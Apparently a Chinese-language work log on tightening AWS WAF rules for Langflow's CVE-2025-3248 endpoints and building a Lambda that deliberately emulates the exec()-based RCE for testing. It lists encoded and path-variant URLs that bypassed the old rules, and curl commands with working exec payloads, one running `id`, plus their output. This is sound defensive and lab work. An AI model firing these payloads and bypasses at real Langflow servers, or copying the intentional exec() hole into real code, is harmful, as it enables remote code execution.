## 修 langflow waf rule

被打進來的 URL 總共是這些

```
//api/v1/validate/code
/api/v1/%2e/validate/code
/api/v1/./validate/code
/api/v1/validate%252fcode
/api/v1/validate/cod%2565
/api/v1/validate/code/
/api/v1/validate/code/.
/api/v1/build_public_tmp/%2f/flow
/api/v1/build_public_tmp/1%2f2/flow
/api/v1/build_public_tmp/a%2fb/flow
/api/v1/build_public_tmp/aaaa%2fbbbb/flow
/api/v1/build_public_tmp/foo%2Fbar/flow
```

### 1




原本是

```
{
  "RegexMatchStatement": {
    "RegexString": "^/api/v1/build_public_tmp/[^/]+/flow$",
    "FieldToMatch": {
      "UriPath": {}
    },
    "TextTransformations": [
      {
        "Priority": 0,
        "Type": "URL_DECODE"
      },
      {
        "Priority": 1,
        "Type": "LOWERCASE"
      }
    ]
  }
}
```

將 regex 改成

- 原本的 `[^/]+` 只會匹配不包含 `/` 的一層 path segment，這就導致 `/a/b/` 這種多層的方式會被忽略
- 現在改成 `.+` 所以也包含 `/` 本身
- 原本結尾 `/flow$` 只會 match `/flow$` 現在改成 `/flow/?$` 所以 `/flow/`、`/flow` 都可以 match
- 並且加上 NORMALIZE_PATH，讓 URL 在比對之前先被正規化，減少 `//`、`/.`、`/..` 出現的可能

```
"^/api/v1/build_public_tmp/.+/flow/?$"
```

### 2

原本是

```
{
  "ByteMatchStatement": {
    "SearchString": "/api/v1/validate/code",
    "FieldToMatch": {
      "UriPath": {}
    },
    "TextTransformations": [
      {
        "Priority": 0,
        "Type": "URL_DECODE"
      },
      {
        "Priority": 1,
        "Type": "LOWERCASE"
      }
    ],
    "PositionalConstraint": "EXACTLY"
  }
}
```

改成

```
{
  "RegexMatchStatement": {
    "RegexString": "^/api/v1/validate/code/?$",
    "FieldToMatch": {
      "UriPath": {}
    },
    "TextTransformations": [
      {
        "Priority": 0,
        "Type": "URL_DECODE"
      },
      {
        "Priority": 1,
        "Type": "URL_DECODE"
      },
      {
        "Priority": 2,
        "Type": "NORMALIZE_PATH"
      },
      {
        "Priority": 3,
        "Type": "LOWERCASE"
      }
    ]
  }
}
```

- 原本是直接比對字串，現在改成用 Regex

## 改 langflow lambda (js -> python)

想要的效果是讓 CVE-2025-3248 真的能 RCE，所以需要用 Python 模擬原本的 exec()

最後是直接寫了一個簡單的 fastapi 後端，把套件用 zip 包好一起送到 lambda
測試看看能不能成功，直接抓 lambda 的 function url 然後打看看

```
→ curl -s -X POST "${FURL%/}/api/v1/validate/code" -H 'content-type: application/json' --data-binary @- <<'JSON'
{"code": "@exec(\"raise Exception('EXEC-OK-'+str(6*7))\")\ndef f(): pass"}
JSON
echo
{"imports":{"errors":[]},"function":{"errors":["EXEC-OK-42"]}}
→ curl -s -X POST "${FURL%/}/api/v1/validate/code" -H 'content-type: application/json' --data-binary @- <<'JSON'
{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef f(): pass"}
JSON
echo
{"imports":{"errors":[]},"function":{"errors":["b'uid=993(sbx_user1051) gid=990 groups=990\\n'"]}}
```

## 小結

今天主要修 Langflow 的 WAF rule，因為原本的規則被一堆變形 URL 繞過（`//`、`%2e`、`%252f`、大小寫、結尾多一個 `/` 或 `/.` 等）。修法有兩點。第一，`build_public_tmp` 那條把 `[^/]+` 放寬成 `.+`、結尾 `/flow$` 改成 `/flow/?$`，再加 NORMALIZE_PATH 做路徑正規化。第二，`validate/code` 那條從 ByteMatch 純字串比對改成 RegexMatch，並疊兩次 URL_DECODE + NORMALIZE_PATH + LOWERCASE 來對付雙重編碼。後半段把 Langflow 的 lambda 從 JS 改寫成 Python，寫了一個簡單的 FastAPI 後端用 `exec()` 模擬 CVE-2025-3248 的 RCE，打包成 zip 上 lambda，抓 function url 測試會通。

## 參考資料


- NVD - CVE-2025-3248（Langflow RCE）
- Text transformations in AWS WAF（URL_DECODE / NORMALIZE_PATH）
- Lambda function URLs